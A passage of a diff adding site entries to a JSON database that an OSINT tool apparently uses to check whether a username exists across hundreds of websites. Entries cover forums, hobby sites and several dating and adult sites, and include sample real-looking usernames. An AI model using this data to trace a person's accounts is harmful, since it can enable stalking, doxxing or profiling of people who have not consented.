"Niepoprawny login" + ], + "url": "https://www.jeja.pl/user,{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jellyfin Weblate": { + "checkType": "message", + "presenseStrs": [ + "user-page text-center" + ], + "absenceStrs": [ + "Page not found" + ], + "url": "https://translate.jellyfin.org/user/{username}/", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jer.forum24.ru": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "urlMain": "http://jer.forum24.ru", + "url": "http://jer.forum24.ru/?32-{username}", + "usernameClaimed": "aga", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jetpunk": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "404 File Not Found" + ], + "alexaRank": 36980, + "urlMain": "https://www.jetpunk.com", + "url": "https://www.jetpunk.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jigidi": { + "tags": [ + "hobby" + ], + "checkType": "status_code", + "alexaRank": 204505, + "urlMain": "https://www.jigidi.com/", + "url": "https://www.jigidi.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jigsawplanet": { + "tags": [ + "fr", + "us" + ], + "checkType": "status_code", + "alexaRank": 4584, + "urlMain": "https://www.jigsawplanet.com", + "url": "https://www.jigsawplanet.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jimdo": { + "tags": [ + "jp" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 19348, + "urlMain": "https://jimdosite.com/", + "url": "https://{username}.jimdosite.com", + "usernameClaimed": "jenny", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Joby": { + "tags": [ + "freelance", + "ru" + ], + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + ], + "alexaRank": 5916275, + "urlMain": "https://joby.su", + "url": "https://joby.su/{username}/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Joemonster": { + "checkType": "message", + "presenseStrs": [ + "Aktywno\u015b\u0107 bojownicza" + ], + "absenceStrs": [ + "Nie wiem jak ci to powiedzie\u0107" + ], + "url": "https://joemonster.org/bojownik/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Joomlart": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "user-scalable=no" + ], + "alexaRank": 32848, + "urlMain": "https://www.joomlart.com", + "url": "https://www.joomlart.com/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "JoplinApp": { + "checkType": "status_code", + "url": "https://discourse.joplinapp.org/u/{username}", + "usernameClaimed": "laurent", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Justforfans": { + "checkType": "message", + "presenseStrs": [ + "@ JustFor.Fans" + ], + "absenceStrs": [ + "Show Me:" + ], + "url": "https://justfor.fans/{username}", + "usernameClaimed": "devinfrancoxxx", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Justlanded": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 9626, + "urlMain": "https://community.justlanded.com", + "url": "https://community.justlanded.com/en/profile/{username}", + "usernameClaimed": "rahul-vaidya", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Juventuz": { + "tags": [ + "forum", + "sg", + "us" + ], + "engine": "XenForo", + "alexaRank": 1134190, + "urlMain": "https://www.juventuz.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kaggle": { + "tags": [ + "tech" + ], + "checkType": "status_code", + "alexaRank": 1947, + "urlMain": "https://www.kaggle.com/", + "url": "https://www.kaggle.com/{username}", + "usernameClaimed": "dansbecker", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kali community": { + "disabled": true, + "tags": [ + "forum", + "in" + ], + "errors": { + "You are not logged in or you do not have permission to access this page.": "Auth required" + }, + "engine": "vBulletin", + "alexaRank": 9210, + "urlMain": "https://forums.kali.org/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "KanoWorld": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 267755, + "urlMain": "https://world.kano.me/", + "url": "https://api.kano.me/progress/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Karab.in": { + "checkType": "message", + "presenseStrs": [ + "Do\u0142\u0105czy\u0142:" + ], + "absenceStrs": [ + "B\u0142\u0105d 404" + ], + "url": "https://karab.in/u/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kashalot": { + "tags": [ + "ua" + ], + "checkType": "status_code", + "alexaRank": 173233, + "urlMain": "https://kashalot.com", + "url": "https://kashalot.com/users/{username}/", + "usernameClaimed": "incognito", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kaskus": { + "tags": [ + "id" + ], + "checkType": "status_code", + "alexaRank": 1334, + "urlMain": "https://www.kaskus.co.id", + "url": "https://www.kaskus.co.id/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Keakr": { + "disabled": true, + "checkType": "status_code", + "url": "https://www.keakr.com/en/profile/{username}", + "usernameClaimed": "beats", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BeatStars": { + "checkType": "message", + "url": "https://www.beatstars.com/{username}", + "presenseStrs": [ + "Stats" + ], + "absenceStrs": [ + "Page not found" + ], + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kerch Forum": { + "disabled": true, + "tags": [ + "forum", + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e. \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u0442\u044c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u043f\u043e\u0438\u0441\u043a\u0430." + ], + "alexaRank": 314531, + "urlMain": "http://forum.kerch.com.ru", + "url": "http://forum.kerch.com.ru/search/?q={username}", + "usernameClaimed": "Milla", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Keybase": { + "tags": [ + "business", + "us" + ], + "urlProbe": "https://keybase.io/_/api/1.0/user/lookup.json?usernames={username}", + "checkType": "message", + "absenceStrs": [ + "them\":[null]", + "bad list value" + ], + "alexaRank": 63440, + "urlMain": "https://keybase.io/", + "url": "https://keybase.io/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "KharkovForum": { + "disabled": true, + "tags": [ + "forum", + "ua" + ], + "engine": "vBulletin", + "alexaRank": 189589, + "urlMain": "https://www.kharkovforum.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kickstarter": { + "tags": [ + "finance", + "us" + ], + "checkType": "status_code", + "alexaRank": 609, + "urlMain": "https://www.kickstarter.com", + "url": "https://www.kickstarter.com/profile/{username}", + "usernameClaimed": "zhovner", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kik": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The page you requested was not found" + ], + "alexaRank": 599341, + "urlMain": "http://kik.me/", + "url": "https://ws2.kik.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kinja": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 20637, + "urlMain": "https://kinja.com", + "url": "https://kinja.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kino-tv": { + "tags": [ + "forum", + "ru" + ], + "engine": "uCoz", + "alexaRank": 2478492, + "urlMain": "http://www.kino-tv-forum.ru", + "usernameClaimed": "emal", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kinogo": { + "tags": [ + "by", + "movies" + ], + "checkType": "status_code", + "alexaRank": 7547238, + "urlMain": "https://kinogo.by", + "url": "https://kinogo.by/user/{username}", + "usernameClaimed": "ridder2", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Kinooh": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://kinooh.ru", + "url": "https://kinooh.ru/user/{username}/", + "usernameClaimed": "zoll", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 460069 + }, + "Kladoiskatel": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 8329019, + "urlMain": "http://forum.kladoiskatel.ru", + "url": "http://forum.kladoiskatel.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "Aleksey54", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "KnigiOnline": { + "tags": [ + "by", + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 1116768, + "urlMain": "https://forum.online-knigi.com", + "usernameClaimed": "brazilla", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Knowem": { + "tags": [ + "business" + ], + "checkType": "status_code", + "alexaRank": 34701, + "urlMain": "https://knowem.com/", + "url": "https://knowem.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kongregate": { + "tags": [ + "gaming", + "us" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "message", + "absenceStrs": [ + "Sorry, no account with that name was found." + ], + "alexaRank": 9707, + "urlMain": "https://www.kongregate.com/", + "url": "https://www.kongregate.com/accounts/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kontrolkalemi": { + "tags": [ + "tr" + ], + "checkType": "message", + "absenceStrs": [ + "Belirtilen \u00fcye bulunamad\u0131. L\u00fctfen bir \u00fcyenin tam ad\u0131n\u0131 giriniz." + ], + "alexaRank": 90035, + "urlMain": "https://www.kontrolkalemi.com", + "url": "https://www.kontrolkalemi.com/forum/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kosmetista": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "profile-content" + ], + "absenceStrs": [ + "\u0423\u043f\u0441! \u0412\u043e\u0442 \u044d\u0442\u043e \u043f\u043e\u0432\u043e\u0440\u043e\u0442!" + ], + "alexaRank": 48630, + "urlMain": "https://kosmetista.ru", + "url": "https://kosmetista.ru/profile/{username}/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kotburger": { + "checkType": "message", + "presenseStrs": [ + "Zamieszcza kotburgery od:" + ], + "absenceStrs": [ + "Nie znaleziono u\u017cytkownika o podanym loginie." + ], + "url": "https://kotburger.pl/user/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kriptom": { + "tags": [ + "tr" + ], + "checkType": "message", + "presenseStrs": [ + "Kay\u0131t tarihi" + ], + "absenceStrs": [ + "Kullan\u0131c\u0131 Detay\u0131 - Kriptom" + ], + "alexaRank": 43087, + "urlMain": "https://www.kriptom.com", + "url": "https://www.kriptom.com/user/{username}/", + "usernameClaimed": "firatimo", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "KristallovNet": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 3893024, + "urlMain": "https://forum.kristallov.net", + "usernameClaimed": "golodny", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Krstarica": { + "tags": [ + "at", + "forum" + ], + "checkType": "message", + "absenceStrs": [ + "Tra\u017eeni \u010dlan nije prona\u0111en. Molimo unesite puno ime \u010dlana i poku\u0161ajte ponovo." + ], + "alexaRank": 15233, + "urlMain": "https://forum.krstarica.com", + "url": "https://forum.krstarica.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "KubanForum24": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "alexaRank": 2328868, + "urlMain": "https://kuban.forum24.ru/", + "url": "https://kuban.forum24.ru/?32-{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kuharka": { + "tags": [ + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 206615, + "urlMain": "https://www.kuharka.ru/", + "url": "https://www.kuharka.ru/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Kwejk": { + "tags": [ + "pl" + ], + "checkType": "status_code", + "alexaRank": 9254, + "urlMain": "https://kwejk.pl", + "url": "https://kwejk.pl/uzytkownik/{username}#/tablica/", + "usernameClaimed": "ralia", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LOR": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 39114, + "urlMain": "https://linux.org.ru/", + "url": "https://www.linux.org.ru/people/{username}/profile", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ladies": { + "tags": [ + "forum", + "ua" + ], + "engine": "phpBB", + "alexaRank": 519026, + "urlMain": "http://ladies.zp.ua", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Launchpad": { + "tags": [ + "tech", + "us" + ], + "checkType": "status_code", + "alexaRank": 16968, + "urlMain": "https://launchpad.net/", + "url": "https://launchpad.net/~{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LeetCode": { + "tags": [ + "coding" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 1859, + "urlMain": "https://leetcode.com/", + "url": "https://leetcode.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lenov": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 83646, + "urlMain": "https://lenov.ru", + "url": "https://lenov.ru/user/{username}/", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lesswrong": { + "checkType": "status_code", + "url": "https://www.lesswrong.com/users/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Letsbeef": { + "tags": [ + "us", + "vi" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 8418390, + "urlMain": "https://www.letsbeef.com", + "url": "https://www.letsbeef.com/forums/member.php?&username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Letschatlove": { + "disabled": true, + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + "The user whose profile you are trying to view does not exist." + ], + "alexaRank": 1054898, + "urlMain": "https://letschatlove.com", + "url": "https://letschatlove.com/profile/{username}/", + "usernameClaimed": "Fusion", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Letterboxd": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Sorry, we can\u2019t find the page you\u2019ve requested." + ], + "alexaRank": 3822, + "urlMain": "https://letterboxd.com/", + "url": "https://letterboxd.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LibReviews": { + "checkType": "status_code", + "urlMain": "https://lib.reviews", + "url": "https://lib.reviews/user/{username}", + "usernameClaimed": "pat", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Liberapay": { + "tags": [ + "eg", + "finance", + "in", + "pk", + "us", + "za" + ], + "checkType": "message", + "absenceStrs": [ + "The requested page could not be found" + ], + "alexaRank": 195293, + "urlMain": "https://liberapay.com", + "url": "https://liberapay.com/{username}", + "usernameClaimed": "geekyretronerds", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Libraries": { + "tags": [ + "coding", + "in" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 68610, + "urlMain": "https://libraries.io", + "url": "https://libraries.io/github/{username}/", + "source": "GitHub", + "usernameClaimed": "snooppr", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LibraryThing": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "

Error: This user doesn't exist

" + ], + "alexaRank": 25927, + "urlMain": "https://www.librarything.com/", + "url": "https://www.librarything.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Librusec": { + "tags": [ + "br", + "ru", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "/a/300686", + "/a/280282" + ], + "alexaRank": 68771, + "urlMain": "https://lib.rus.ec", + "url": "https://lib.rus.ec/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lichess": { + "checkType": "message", + "absenceStrs": [ + "page-small box box-pad page", + ">

No such player

This username doesn", + "})()", + "IR0Cf7qpkpcOhvI9r03a0QbI" + ], + "alexaRank": 2374, + "urlMain": "https://lichess.org", + "url": "https://lichess.org/@/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "efxvyhnwrh", + "tags": [ + "gaming", + "hobby" + ], + "presenseStrs": [ + "us_profile", + "og:title", + "profile-side", + " data-username=", + "og:site_name" + ] + }, + "Liebe69": { + "tags": [ + "de" + ], + "checkType": "response_url", + "urlMain": "https://www.liebe69.de", + "url": "https://www.liebe69.de/profile-preview.php?username={username}", + "usernameClaimed": "klaus", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Life-dom2": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "" + ], + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d." + ], + "alexaRank": 513568, + "urlMain": "https://life-dom2.su", + "url": "https://life-dom2.su/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lightstalking": { + "tags": [ + "forum", + "photo" + ], + "checkType": "status_code", + "alexaRank": 501303, + "urlMain": "https://lightstalking.us/", + "url": "https://lightstalking.us/members/{username}", + "usernameClaimed": "kent", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Likee": { + "tags": [ + "video" + ], + "checkType": "message", + "absenceStrs": [ + "https://likee.video/@/" + ], + "presenseStrs": [ + "user_name" + ], + "alexaRank": 38032, + "url": "https://likee.video/@{username}", + "urlMain": "https://likee.video", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "line.me": { + "checkType": "message", + "absenceStrs": [ + "404 Not Found" + ], + "presenseStrs": [ + "Add LINE Friends via QR Code" + ], + "url": "https://line.me/R/ti/p/@{username}?from=page", + "usernameClaimed": "yoasobi", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lingvolive": { + "disabled": true, + "tags": [ + "de", + "forum", + "it", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "Sorry, an error occurred while processing your request." + ], + "urlMain": "http://forum.lingvolive.com", + "url": "http://forum.lingvolive.com/profile/{username}/", + "usernameClaimed": "tom-wick", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 17645 + }, + "Linuxfr": { + "tags": [ + "fr", + "tech" + ], + "checkType": "status_code", + "alexaRank": 290886, + "urlMain": "https://linuxfr.org/", + "url": "https://linuxfr.org/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LinuxMint": { + "tags": [ + "forum", + "ru" + ], + "alexaRank": 651304, + "urlMain": "https://www.linuxmint.com.ru", + "engine": "phpBB", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Listal": { + "tags": [ + "gb", + "in", + "us" + ], + "checkType": "response_url", + "urlMain": "https://listal.com/", + "url": "https://{username}.listal.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 27395 + }, + "Listed.to": { + "checkType": "message", + "presenseStrs": [ + "

L

" + ], + "absenceStrs": [ + "

Featured authors

" + ], + "url": "https://listed.to/@{username}", + "usernameClaimed": "listed", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Listography": { + "tags": [ + "in" + ], + "errors": { + "An error has occurred.": "Site error" + }, + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "No such user." + ], + "alexaRank": 64445, + "urlMain": "https://listography.com/adam", + "url": "https://listography.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LiveInternet": { + "tags": [ + "ru" + ], + "errors": { + "\u041f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0430 \u043e\u0448\u0438\u0431\u043a\u0430.": "Site error" + }, + "checkType": "message", + "absenseStrs": [ + "xmlns=\"http://www.w3.org/1999/xhtml" + ], + "presenseStrs": [ + "!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN" + ], + "alexaRank": 1808, + "urlMain": "https://www.liveinternet.ru", + "url": "https://www.liveinternet.ru/users/{username}/profile", + "usernameClaimed": "marrietta", + "usernameUnclaimed": "noonewouldevereverusethis7" + }, + "LiveJournal": { + "tags": [ + "blog", + "ru" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "status_code", + "alexaRank": 424, + "urlMain": "https://www.livejournal.com/", + "url": "https://{username}.livejournal.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LiveLeak": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "channel not found" + ], + "alexaRank": 9373, + "urlMain": "https://www.liveleak.com/", + "url": "https://www.liveleak.com/c/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "LiveLib": { + "tags": [ + "books", + "reading", + "ru" + ], + "checkType": "status_code", + "alexaRank": 4524, + "urlMain": "https://www.livelib.ru/", + "url": "https://www.livelib.ru/reader/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LiveTrack24": { + "checkType": "message", + "presenseStrs": [ + "profileinfodiv" + ], + "absenceStrs": [ + "not found" + ], + "alexaRank": 1325983, + "urlMain": "https://www.livetrack24.com", + "url": "https://www.livetrack24.com/user/{username}", + "usernameClaimed": "anna", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Liveexpert": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 40588, + "urlMain": "https://www.liveexpert.ru", + "url": "https://www.liveexpert.ru/e/{username}", + "usernameClaimed": "velegor1984", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Livejasmin": { + "tags": [ + "us", + "webcam" + ], + "urlProbe": "https://www.livejasmin.com/en/flash/get-performer-details/{username}", + "checkType": "message", + "absenceStrs": [ + ":[]" + ], + "alexaRank": 67, + "urlMain": "https://www.livejasmin.com/", + "url": "https://www.livejasmin.com/en/girls/#!chat/{username}", + "usernameClaimed": "Dolce", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Livemaster": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 2913, + "urlMain": "https://www.livemaster.ru", + "url": "https://www.livemaster.ru/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LiverpoolFC": { + "tags": [ + "forum", + "us", + "za" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 25572, + "urlMain": "https://forums.liverpoolfc.com", + "url": "https://forums.liverpoolfc.com/members/?username={username}", + "usernameClaimed": "jannno", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lkforum": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 805882, + "urlMain": "http://www.lkforum.ru/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lobsters": { + "tags": [ + "in", + "us", + "vn" + ], + "regexCheck": "[A-Za-z0-9][A-Za-z0-9_-]{0,24}", + "checkType": "status_code", + "alexaRank": 252854, + "urlMain": "https://lobste.rs/", + "url": "https://lobste.rs/u/{username}", + "usernameClaimed": "jcs", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lolchess": { + "disabled": true, + "tags": [ + "kr" + ], + "headers": { + "accept-language": "en-US,en;q=0.9,es;q=0.8" + }, + "checkType": "message", + "absenceStrs": [ + "No search results" + ], + "presenseStrs": [ + "results were displayed out of" + ], + "alexaRank": 4911, + "urlMain": "https://lolchess.gg/", + "url": "https://lolchess.gg/profile/na/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LonelyPlanet": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 6261, + "urlMain": "https://www.lonelyplanet.com", + "url": "https://www.lonelyplanet.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lookbook": { + "tags": [ + "in" + ], + "regexCheck": "^[^.]{1,}$", + "checkType": "message", + "absenceStrs": [ + "No Looks", + "404 error" + ], + "alexaRank": 26997, + "urlMain": "https://lookbook.nu/", + "url": "https://lookbook.nu/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lori": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 347374, + "urlMain": "https://lori.ru", + "url": "https://lori.ru/{username}", + "usernameClaimed": "Mishkova", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "LostFilmHD": { + "disabled": true, + "tags": [ + "es", + "movies", + "pl", + "ru" + ], + "engine": "uCoz", + "alexaRank": 9175, + "urlMain": "http://www.lostfilmhd.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lostark": { + "urlSubpath": "/forums", + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 49, + "urlMain": "https://la.mail.ru", + "usernameClaimed": "wizard", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lottiefiles": { + "checkType": "status_code", + "url": "https://lottiefiles.com/{username}", + "usernameClaimed": "lottiefiles", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Love.Mail.ru": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0417\u043d\u0430\u043a\u043e\u043c\u0441\u0442\u0432\u0430@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://love.mail.ru", + "url": "https://love.mail.ru/ru/{username}", + "usernameClaimed": "irina_627", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Lovemakeup": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://lovemakeup.ru", + "url": "https://lovemakeup.ru/profile/{username}", + "usernameClaimed": "Tompob", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Loveplanet": { + "disabled": true, + "tags": [ + "dating", + "ru" + ], + "checkType": "message", + "errors": { + "has been temporarily blocked": "IP ban" + }, + "absenceStrs": [ + "\u0417\u0430\u043f\u0440\u043e\u0448\u0435\u043d\u043d\u0430\u044f \u0432\u0430\u043c\u0438 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430.", + "\u0414\u0430\u043d\u043d\u044b\u0435 \u043e \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442", + "Information on selected user does not exist" + ], + "alexaRank": 8988, + "urlMain": 